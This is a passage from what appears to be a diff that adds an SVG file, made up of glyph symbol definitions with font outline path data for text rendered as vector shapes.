9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
